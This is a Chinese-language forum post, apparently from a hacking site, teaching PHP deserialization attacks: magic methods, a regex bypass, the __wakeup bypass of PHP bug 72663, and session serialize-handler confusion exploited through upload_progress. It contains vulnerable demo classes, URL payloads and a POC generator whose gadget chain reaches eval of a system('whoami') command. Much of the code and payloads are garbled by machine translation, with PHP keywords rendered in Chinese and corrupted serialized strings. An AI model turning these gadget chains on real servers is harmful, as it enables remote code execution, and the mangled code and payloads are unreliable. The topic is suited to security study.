H

PHP 反序列化漏洞相关

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

反序列化系列​

1 定义与原理​

1.1 相关概念​

内存数据“短暂”;通常,执行程序已完成,所有这些都会立即被销毁。变量存储的数据是内存数据;该文件是“持久数据”
序列化:这是“保存”内存中的变量数据到文件中持久数据的过程。简化:将内存变成文件
值得注意:这是将存储在文件中的数据序列化并将其还原为程序代码的变量表示的过程。简化:将文件变成内存
该漏洞的基本原因是该程序未检测到用户的避免序列化输入,这导致避难所被恶意控制,从而导致一系列无法控制的后果,例如代码执行和getshell。

1.2 相关函数​

序列化(混合值):字符串
Unserialize(String $ str):混合

1.2.1 序列化​

20190115093558.png-water_print

序列化的含义
20190115093729.png-water_print

1.2.2 反序列化​

20190115094638.png-water_print

2 魔术方法 - magic method​

__construct():创建类时自动调用
__DESTRUCT():当班级被销毁时,它被称为自动称为
__invoke():使用类作为函数时自动致电
__ToString():使用类用作字符串时自动致电
__wakeup():当调用Unserialize()函数时,它被称为自动称为
__sleep():当调用serialize()函数时,它被称为自动称为
__CALL():当不存在的方法时会自动调用或权限不足

2.1 注意点​

\ x00 +类名称+ \ 00 +变量名称是私人变量
\ x00 + * + \ x00 + x00 +变量名称值是一个受保护的变量
直接变量名称的避难所是公共变量
20190115102902.png-water_print

在对象之前添加+绕过常规
20190115103310.png-water_print

2.2 DEMO​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
php
@error_reporting(1);
上课宝贝
{
public $ file;
函数__ToString()
{
if(isset($ this-file))
{
$ filename='./{$ this-file}';
if(file_get_contents($ filename))
{
返回file_get_contents($ filename);
}
}
}
}
if(isset($ _获取['data']))))))
{
$ data=$ _get ['data'];
preg_match('/[oc] : \ d+:/i',$ data,$ matches); //在此处匹配o,然后用数字拦截它。
if(count($匹配))
{
死('hacker!');
}
别的
{
$ good=unsialialize($ data);
Echo $ good;
}
}
别的
{
lighlight_file('./index.php');
}

有效载荷:url?data=o:%2B4:'BABY':1: {S:4333:'FILE'; S:8333333:'FLAG.PHP';}

3 PHP Bug 72663​

3.1 原理​

当在串行字符串中时,如果代表对象属性数的值大于实际属性的数量,则会跳过__wakeup的执行

3.2 DEMO​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
php
类Sofun {
受保护的$ file='index.php';
函数__DESTRUCT(){
如果(!empty($ this-file)){
if(strchr($ this-file,'\\')===false strchr($ this-file,'/')===false)show_source(dirname(__ file __)。
否则死(“错误的文件名”。);
}
}
函数__wakeup(){
$ this-file='index.php';
}
公共功能__ToString(){
返回'';
}
}
如果(!isset($ _ get ['file'])){
show_source('index.php');
} 别的{
$ file=base64_decode($ _ get ['file']);
ECHO Unserialize($ file);
}

#! - flag.php中的键-
20190115111603.png-water_print

有效载荷:url?file=tzo1oijtb0z1bii6mjp7czo3oiiakgbmawxlijtzojg6imzsywcucghwijt9

4 PHP Session 序列化及反序列化​

4.1 相关原理​

4.1.1 PHP Session 序列化机制​

当调用session_start()或session.auto_start在php.ini中为1个,php php内部调用会话管理器,并且访问用户会话序列化后,将其存储在指定的目录中(efecied Directory is /tmp)。

4.1.2 session 序列化及反序列化处理器​

PHP具有用于访问$ _Session数据的内置多个处理器。数据将被序列化并进行序列化。以下三种常用的三种处理格式对应于三种不同的处理格式。
处理器
相应的存储格式
php
关键名称+垂直线+通过serialize()函数处理的值
php_binary
ASCII字符对应于密钥名称+关键名称的长度+ serialize()函数处理的值
php_serialize(php=5.5.4)
通过应有的序列化()函数来处理的阵列

4.1.3 与 session 存储相关的配置项​

配置文件php.ini包含与会话存储有关的这些配置项目:
1
2
3
session.save_path='e:/wamp64/tmp' - 默认设置会话的存储路径,默认为/tmp
session.auto_start=0-指定会话模块是否在请求开头启动会话,默认值为0且未启动
session.serialize_handler=php-定义用于序列化/值序列化的处理器名称。默认使用PHP
PHP提供会话。Serialize_handler配置选项,该选项使您可以设置用于序列化和挑选化的处理器,默认值为PHP。如果要将其修改为另一个引擎,则只需要添加代码ini_set('session.serialize_handler',“需要设置的引擎”),如下:
1
2
3
4
php
ini_set('session.serialize_handler','php');
session_start();
$ session ['a']=$ _get ['a'];
存储的文件是以session_sessionId命名的,文件的内容是会话值序列化之后的内容。您可以在相应的会话路径下看到一个新生成的会话文件。SAVE_PATH,名为sess_cj15cikdujk6uv3bdq6qvonbe7,您可以看到存储格式为:键name +垂直线+ serialialse(serialize)函数()函数:A | S3333333333333333333333333333333333330'123';
使用php_serialize处理器:
1
2
3
4
php
ini_set('session.serialize_handler','php_serialize');
session_start();
$ session ['a']=$ _get ['a'];
格式:通过serialize()函数的避免符号处理的数组:A:1: {S3:1:'A'; S3:'123';}

4.2 PHP session 反序列化漏洞​

如果PHP在对存储的$ _Session数据和处理器进行序列化时使用不同的处理器,则该数据无法正确化。通过特殊构造,甚至可以锻造任何数据。
例子
当通过php_serialize处理存储时,然后使用PHP处理器在调用时处理它。如果此时注射的数据是:A=| O:43360'test':0 {},则会中的内容为A:1: {S:1:'A'; S3:16:'| O3:43:'33333333333: {} A:1: {S:1:'A'; S3:16:'被视为被PHP解析后,随后注射实例化测试对象后,被视为关键名称。
当配置选项session_auto_start=off时,在注册会话会话时使用两个脚本使用的序列化处理器不同,安全问题将出现。

4.3 DEMO​

index.php
1
2
3
4
5
6
7
php
show_source(文件);
ini_set('session.serialize_handler','php');
require('./class.php');
session_start();
$ obj=new傻瓜();
$ obj-varr='phpinfo.php';
class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
php
righlight_string(file_get_contents(basename($ _ server ['php_self']])));
show_source(文件);
类foo1 {
公共$ varr;
函数__construct(){
$ this-varr='i.php';
}
函数__DESTRUCT(){
如果(file_exists($ this-varr)){
echo'br file'。$ this-varr.'exist br';
}
Echo'br这是foo1的攻击者;
}
}
类foo2 {
公共$ varr;
公共$ obj;
函数__construct(){
$ this-varr='1234567890';
$ this-obj=null;
}
函数__tostring(){
$ this-obj-execute();
返回$ this-varr;
}
函数__desctuct(){
Echo'Br这是foo2的破坏者;
}
}
类foo3 {
公共$ varr;
函数execute(){
评估($ this-varr);
}
函数__desctuct(){
Echo'Br这是foo3的破坏者;
}
}

phpinfo.php
1
2
3
4
5
6
7
8
php
show_source(文件);
session_start();
require('./class.php');
$ f3=new foo3();
$ f3-varr='phpinfo();';
$ f3-execute();

如您所见,index.php使用PHP处理器。
对于php.ini中的密钥配置,请注意session.serialize_handler在配置中:
1
2
3
session.serialize_handler=php_serialize
session.upload_progress.cleanup=off
session.upload_progress.enabled=on
您可以访问phpinfo.php查看配置信息:
20190115114733.png-water_print

默认值是使用PHP处理器进行处理会话,session.UPLOAD_PROGRESS.CLEANUP被配置为OFF,session.UPLOAD_PROGRESS.NABLED配置为ON。
session.upload_progress.enabled,当启用它时,php可以在上传时监视上传进度。当正在处理上载并发布与session.upload_progress.name设置的变量时,可以在$ _Session中获得上传进度。当PHP检测到此类后请求时,它会在$ _Session中添加一组数据,索引是session.upload_progress.prefix和session.upload_progress.name的值。
当前代码不会将数据提交到服务器,但是现在启用了session.upload_progress.enabled,因此您可以将文件上传到会话文件中写入数据。
换句话说,利用点是通过session.upload_progress.abled将文件写入文件,以将php_serialize处理器格式的内容写入会话文件中,这与index.php中的php处理器不同,这又导致会话的存在,从而导致会话的存在。
poc.php用于生成串行POC,定义了foo1中构造函数$ varr值的实例,在foo2中使用$ obj作为foo3定义一个实例,并定义了foo3中的foo3中的$ varr值,并将$ varr的值定义为$ varr的值为$ varr as System systems('whoami'''whoami';
poc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
php
类foo3 {
公共$ varr;
函数__construct(){
$ this-varr='system('whoami');';
}
}
类foo2 {
公共$ varr;
公共$ obj;
函数__construct(){
$ this-varr='1';
$ this-obj=new foo3();
}
}
类foo1 {
公共$ varr;
函数__construct(){
$ this-varr=new foo2();
}
}
回声序列化(new Foo1());

form.html,一个向index.php提交发布请求的表单文件,包括php_session_upload_progress变量:
1
2
3
4
5
形式action='http://127.0.0.1/i.php'method='post'enctype='multipart/form-data'
输入类型='隐藏'名称='php_session_upload_progress'value='geekby' /
输入类型='file'name='file' /
输入类型='提交' /
/形式
burpsuite将form.html发送的邮政请求截断,并将php_session_upload_progress列中的值添加到poc.php生成的POC中,以成功地执行命令:
| O:4:'foo1':1: {s:43:'varr'; o3:433333:'foo2':23: 0'varr'; s:1:'obj'; o:43:'foo3
 
后退
顶部